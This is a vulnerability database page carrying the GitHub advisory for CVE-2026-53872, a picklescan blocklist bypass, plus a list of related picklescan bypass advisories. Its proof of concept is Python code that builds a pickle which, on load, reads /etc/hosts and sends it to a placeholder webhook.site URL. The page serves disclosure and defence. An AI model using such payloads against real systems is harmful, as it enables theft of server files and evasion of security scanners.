CVE-2026-53872: picklescan has Arbitrary file read using `io.FileIO`
Summary Unsafe pickle deserialization allows unauthenticated attackers to read arbitrary server files and perform SSRF. By chaining io.FileIO and urllib.request.urlopen, an attacker can bypass RCE-focused blocklists to exfiltrate sensitive data (example: /etc/passwd) to an external server. Details The application deserializes untrusted pickle data.
Published Jan 8, 2026 · Updated Jun 18, 2026
Affected packages
picklescan
- Ecosystem
- PyPI
- Affected
- < 0.0.35
- Fixed in
- 0.0.35
- Check
pip show picklescan
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
Unsafe pickle deserialization allows unauthenticated attackers to read arbitrary server files and perform SSRF. By chaining io.FileIO and urllib.request.urlopen, an attacker can bypass RCE-focused blocklists to exfiltrate sensitive data (example: /etc/passwd) to an external server.
Details
The application deserializes untrusted pickle data. While RCE keywords (os, exec) may be blocked, the exploit abuses standard library features:
- io.FileIO: Opens local files without using builtins.open.
- urllib.request.urlopen: Accepts the file object as an iterable body for a POST request.
- Data Exfiltration: The file content is streamed directly to an attacker-controlled URL during unpickling.
PoC
import pickle, io, urllib.request
class GetFile:
def __reduce__(self):
return (io.FileIO, ('/etc/hosts', 'r'))
class Exfiltrate:
def __reduce__(self):
return (urllib.request.urlopen, ('https://webhook.site/YOUR_UUID_HERE', GetFile()))
with open("bypass_http.pkl", "wb") as f:
pickle.dump(Exfiltrate(), f)Impact
- Arbitrary file read
Thanks for this library and your time. If you think picklescan is focused on detecting only RCE kind of vulnerabilities rather adding File IO, Http or any protocol based may cause lot of noise, feel free to close this issue.
Credited to shivasurya.
References
- https://github.com/mmaitre314/picklescan/security/advisories/GHSA-9726-w42j-3qjr
- https://github.com/mmaitre314/picklescan/pull/55
- https://github.com/mmaitre314/picklescan/commit/a01c58d5dd7960db557b849817c0ab83ab111ef1
- https://github.com/mmaitre314/picklescan/releases/tag/v0.0.35
- https://nvd.nist.gov/vuln/detail/CVE-2026-53872
- https://www.vulncheck.com/advisories/picklescan-arbitrary-file-read-via-unsafe-pickle-deserialization
- https://github.com/advisories/GHSA-9726-w42j-3qjr
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More PyPI vulnerabilities
All PyPI entriesCVE-2026-3490
PickleScan's pkgutil.resolve_name has a universal blocklist bypass
critical10.0Mar 3, 2026CVE-2026-53873
PickleScan's profile.run blocklist mismatch allows exec() bypass
critical9.8Mar 3, 2026CVE-2026-56315
PickleScan has multiple stdlib modules with direct RCE not in blocklist
critical9.8Mar 3, 2026CVE-2026-53875
Picklescan (scan_pytorch) Bypass via dynamic eval MAGIC_NUMBER
high7.1Feb 18, 2026CVE-2026-53874
picklescan missing detection by simple obfuscation of a `builtins.eval` call
high8.9Feb 2, 2026GHSA-m7j5-r2p5-c39r
picklescan vulnerable to arbitrary file create using logging.FileHandler
medium5.5Feb 2, 2026
